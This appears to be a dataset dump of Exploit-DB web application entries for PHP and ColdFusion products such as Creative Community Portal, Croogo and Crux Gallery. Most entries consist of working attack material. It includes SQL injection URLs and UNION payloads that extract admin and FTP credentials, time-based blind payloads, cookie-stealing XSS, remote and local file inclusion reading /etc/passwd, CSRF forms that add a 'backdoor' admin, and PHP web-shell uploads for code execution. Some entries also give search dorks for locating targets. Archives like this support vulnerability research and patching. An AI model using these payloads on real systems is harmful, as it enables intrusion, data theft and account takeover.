deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27832
Description: Creative Software UK Community Portal 1.1 - 'DiscView.php?forum_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info
 
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/DiscView.php?mid=144&forum_id=[SQL]
Exploit-DB #27834
Description: Creative Software UK Community Portal 1.1 - 'EventView.php?event_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info
   
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/EventView.php?event_id=[SQL]
Exploit-DB #27835
Description: Creative Software UK Community Portal 1.1 - 'PollResults.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-05-08
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17890/info
    
Creative Community Portal is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
    
Version 1.1 of Creative Community Portal is vulnerable to these issues; other versions may also be affected.

http://www.example.com/PollResults.php?answer_id=32&AddVote=[SQL]
http://www.example.com/PollResults.php?answer_id=[SQL]
Exploit-DB #11300
Description: Creative SplashWorks-SplashSite - 'page.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Email : F.Hack@w.cn
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Creative SplashWorks-SplashSite
.:. Language : php
.:. Bug Type : Blind Sql Injection
.:. Dork : "Website Powered By Creative SplashWorks - SplashSite"
####################################################################

===[ Exploit ]===

www.site.com/page.php?pg=18+and+1=1 >>> True
www.site.com/page.php?pg=18+and+1=2 >>> False

www.site.com/page.php?pg=18+and+substring(@@version,1,1)=5 >>> True
www.site.com/page.php?pg=18+and+substring(@@version,1,1)=4 >>> False


####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #12807
Description: Creato Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-30
Author: Mr.P3rfekT

Exploit:
# Title:  Creato Script SQL Injection Vulnerability
# Version: 2.1
# Author: Mr.P3rfekT
# Software Site:  http://www.creato.biz 
# Tested on Lunix
# CVE : N/A
   
############### Founded By Mr.P3rfekT ###############
# Dork : " created by creato.biz "


# Helllo Allz.
   
   
# Exploit :
   
http://[site]/mainpage.php?id={SQLi}



# Poc Username:

union select 1,adminusername,3,4,5,6,7,8,9,10,11,12 from tbladmins--


# Poc Password:

# union select 1,adminpassword,3,4,5,6,7,8,9,10,11,12 from tbladmins--


# Demo:

 http://[site]/mainpage.php?id=-6 union select 1,adminpassword,3,4,5,6,7,8,9,10,11,12 from tbladmins--
 
# Admin Login


# http://[site]/admun/login.php

# ./done.
  
   
####################################################################
   
MaiL :R4p@hotmail.com
  
Greeetz To : Sinaritx,HcJ,Mr.Black,D3ViL H4CK3R,Uzm4n,Nani17,Cyb3r-DeViL,www.v4-team.com,www.arab-exploit.com Cr3w,www.Barcelonasy.com & All Who Known Me
  
   
###############################################
Exploit-DB #51701
Description: Credit Lite 1.5.4 - SQL Injection
Type: webapps
Platform: php
Date: 2023-09-04
Author: CraCkEr

Exploit:
# Exploit Title: Credit Lite 1.5.4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 31/07/2023
# Vendor: Hobby-Tech
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
# Software Link: https://credit-lite.appshat.xyz/
# Version: 1.5.4
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4407
# CWE: CWE-89 - CWE-74 - CWE-707

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.



## Steps to Reproduce:

To Catch the POST Request

1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement

2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]



Path: /portal/reports/account_statement

POST parameter 'date1' is vulnerable to SQL Injection
POST parameter 'date2' is vulnerable to SQL Injection

-------------------------------------------------------------------------
POST /portal/reports/account_statement HTTP/2

_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
-------------------------------------------------------------------------

---
Parameter: date1 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001

Parameter: date2 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
---



[-] Done
Exploit-DB #35631
Description: CRESUS - 'recette_detail.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-19
Author: GrayHatz Security Group

Exploit:
source: https://www.securityfocus.com/bid/47416/info

CRESUS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/$path/ang/recette_detail.php?id=1 {SQL Injection}
Exploit-DB #33156
Description: Crime24 Stealer Panel 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-05-03
Author: Daisuke Dan

Exploit:
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#  ____        _           _          ____              
# |  _ \  __ _(_)___ _   _| | _____  |  _ \  __ _ _ __   
# | | | |/ _` | / __| | | | |/ / _ \ | | | |/ _` | '_ \  
# | |_| | (_| | \__ \ |_| |   <  __/ | |_| | (_| | | | |
# |____/ \__,_|_|___/\__,_|_|\_\___| |____/ \__,_|_| |_|
#        
#     #CyberNinja | My katana can slay any security!
#         >> Twitter @TheHackersBay
#             >> Pentester / Underground hacker
#
# Exploit Title: Crime24 Stealer Panel <= Multiple Vulnerabilities
# Date: Sunday May 3 2014
# Exploit Author: Daisuke Dan
# Vendor Homepage: Crime24.net
# Version: v.1
# Tested on: Windows Seven
# Blog post: http://thehackersbay.org/blog/2014/05/03/crime24-stealer-panel/
#
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

An attacker can execute an XSS and inject sql commands in the search form.
You must be logged in the admin panel.

#=========================== EXPLOITATION ==============================

0x01 Detecting the error

POST: http://site.com/?action=search
POST Content: q='"><img+src=x+onerror=prompt('DaisukeDan');>&in=1&search=Search
Example: http://i.imgur.com/zyIr5xv.png
Result: Cross site scripting + SQL error


0x02 Exploit the SQL Injection

[+] Vulnerable code:
$result = mysql_query("SELECT * FROM `logs` WHERE `".$cols[$_POST["in"]]."` LIKE '%".$_POST["q"]."%';", $mysql);

POST: http://site.com/?action=search			
POST Content:
q=' union select 1,2,group_concat(column_name,0x0a),4,5,6,7,8 from information_schema.columns where table_name=0x6c6f6773-- -
&in=1&search=Search
Example: http://i.imgur.com/t4ydLsR.png
You have access to all the database.


#=========================== Gr33tz =============================#
| Raw-x | eth0 | Downfall | XzLt | Insider | rootaccess | Yasker |
| EZiX | Negative | ajkaro | Un0wn_X | H4T | NeTwork | Pent0thal |
#================================================================#
Exploit-DB #28114
Description: CrisoftRicette 1.0 - 'Cookbook.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-27
Author: CrAzY.CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18674/info

CrisoftRicette is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/recipe/cookbook.php?crisoftricette=http://www.example.com/evil_script
Exploit-DB #11353
Description: Croogo 1.2.1 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-07
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Croogo 1.2.1 Multiple CSRF Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail[dot]com
[#] Date: 07. February 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Croogo
[#] Version: 1.2.1
[#] Platform: PHP
[#] Site: http://www.croogo.org
[#] Download: http://croogo.googlecode.com/files/croogo-1.2.1.zip
[#] Vulnerability: Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

Croogo blog script lacks of cross site request forgery protection,
allowing us to make exploit to add new admin user or change existing
admin password.

[#]Content
 |--CSRF
    |--Add Administrator
    |--Change Administrators Password

[*] Add Administrator

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="/localhost/cro/admin/users/add" method="post">
  <input type="hidden" name="_method" value="POST"/>
  <input type="hidden" name="data[User][role_id]" value="1"/>
  <input type="hidden" name="data[User][username]" value="backdoor"/>
  <input type="hidden" name="data[User][password]" value="hacked"/>
  <input type="hidden" name="data[User][name]" value="thisismyname"/>
  <input type="hidden" name="data[User][email]" value="my@mail.com"/>
  <input type="hidden" name="data[User][website]" value="website"/>
  <input type="hidden" name="data[User][status]" value="1"/>
  <input type="submit" name="submit" value="Submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[*] Change Administrators Password

In this exploit 1 is the ID of the admin user that we want to edit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="/localhost/cro/admin/users/reset_password/1" method="post">
  <input type="hidden" name="_method" value="PUT"/>
  <input type="hidden" name="data[User][id]" value="1"/>
  <input type="hidden" name="data[User][username]" value="admin"/>
  <input type="hidden" name="data[User][password]" value="hacked"/>
  <input type="submit" name="submit" value="Submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
Exploit-DB #50570
Description: Croogo 3.0.2 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-12-06
Author: Deha Berkin Bir

Exploit:
# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Date: 05/12/2021
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> Tutorial <==

1- Login with your privileged account.
2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'.
3- Click the 'New Attachment' button.
4- Choose a malicious php script and upload it.

########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT ####################
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
############################################################################

5- Click on the URL of malicious php script you uploaded.
6- The malicious PHP script will be executed.


==> HTTP Request (File Upload) <==

POST /admin/file-manager/attachments/add HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Length: 976
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/file-manager/attachments/add
Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

----------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Disposition: form-data; name="_method"

POST
----------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Disposition: form-data; name="_csrfToken"

bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb
----------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

----------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Disposition: form-data; name="_Token[fields]"

16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
----------------------------[PII_REDACTED][PII_REDACTED]70373694
Content-Disposition: form-data; name="_Token[unlocked]"


----------------------------[PII_REDACTED][PII_REDACTED]70373694--
Exploit-DB #50602
Description: Croogo 3.0.2 - Unrestricted File Upload
Type: webapps
Platform: php
Date: 2021-12-16
Author: Enes Özeser

Exploit:
# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload
# Date: 06/12/2021
# Exploit Author: Enes Özeser
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> 'setting-43' Unrestricted File Upload <==

1- Login with your privileged account.
2- Click on the 'Settings' section.
3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme'
4- Choose a malicious php script and upload it.
5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded.
6- The malicious PHP script will be executed.

POST /admin/settings/settings/prefix/Theme HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Length: 970
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/settings/settings/prefix/Theme
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

----------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Disposition: form-data; name="_method"

POST
----------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Disposition: form-data; name="_csrfToken"

c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
----------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Disposition: form-data; name="setting-43"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

----------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Disposition: form-data; name="_Token[fields]"

c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A
----------------------------[PII_REDACTED][PII_REDACTED]315978127
Content-Disposition: form-data; name="_Token[unlocked]"


----------------------------[PII_REDACTED][PII_REDACTED]315978127--
Exploit-DB #37690
Description: Crowbar - 'file' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-30
Author: Matthias Weckbecker

Exploit:
source: https://www.securityfocus.com/bid/55315/info

Crowbar is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/utils?waiting=true&file=foo'%3B})% 3B}alert(document.cookie)</script><!--
Exploit-DB #11299
Description: crownweb - 'page.cfm' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: AtT4CKxT3rR0r1ST

Exploit:
crownweb (page.cfm) Sql Injection Vulnerability
===================================================================

####################################################################
.:. Email : F.Hack@w.cn
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : crownweb
.:. Language : Cfm
.:. Script Download: http://www.crownweb.net/
.:. Bug Type : Sql Injection[Mysql]
.:. Dork : "Powered By CrownWeb.net!" inurl:"page.cfm"
####################################################################

===[ Exploit ]===

www.Localhost.com/page.cfm?id=[Sql Injection]

********************************************************************
T0 Get Username & Password Admin Site

[Sql Injection ; {Name & password Admin}]

www.Localhost.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(name,0x3a,password),6+from+author

WEBSITE LOGIN: www.localhost.com/siteadmin/

[~] Name : Webadmin
[~] Password : Sec-Attack

********************************************************************
T0 Get Username & Password Plesk Control Panel

[Sql Injection ; {Username & Password Plesk Control Panel}]

www.Localhost.com/page.cfm?id=null+and+100=99+union+select+1,2,3,4,concat(ftpserver,0x3a,domainname,0x3a,ftpusername,0x3a,ftppassword),6+from+webdata

WEBSITE LOGIN: https://IP SRVER:8443/login.php3

[~] ftpserver : 127.0.0.1
[~] domainname : Localhost.com
[~] ftpusername : Root
[~] ftppassword : Sec-Attack

####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #30658
Description: CRS Manager - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-11
Author: iNs

Exploit:
source: https://www.securityfocus.com/bid/26034/info

CRS Manager is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?DOCUMENT_ROOT=shell??
http://www.example.com/login.php?DOCUMENT_ROOT=shell??
Exploit-DB #49393
Description: CRUD Operation 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2021-01-07
Author: Arnav Tripathy

Exploit:
# Exploit Title: CRUD Operation 1.0 - Multiple Stored XSS
# Date: 4/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage: https://egavilanmedia.com
# Software Link: https://egavilanmedia.com/crud-operation-with-php-mysql-bootstrap-and-dompdf/
# Version: 1.0
# Tested on: linux / Lamp

Click on add new record. Simply put <script>alert(1)</script> and so on in all parameters. Pop up should come up moment you add the record. If not , simply refresh the page, it should come up.
Exploit-DB #6645
Description: Crux Gallery 1.32 - 'theme' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-01
Author: StAkeR

Exploit:
 ~~+=========================================================+~~
 ~~+=========================================================+~~
  [?] Crux Gallery <= 1.32 Local File Inclusion Vulnerability
  [?] Discovered On: 01/10/2008
  [*] PHP.ini 
  [*] Magic_Quotes_Gpc = Off
 ~~+=========================================================+~~
  (index.php) // Greetz -> Osirys and darkjoker
  14. $m = $_GET['m'];
  15. $p = $_GET['p'];
  16. $dir = $_GET['dir'];
  17. require_once("main.php");
  18. require_once("themes/".$theme."/theme.php"); 
  $theme  isn't declared, so you can include any file.
  [*] http//[path]/index.php?theme=../../../../../etc/passwd%00
  [*] How To Fix: declare $theme
  ~~+=========================================================+~~

# milw0rm.com [2008-10-01]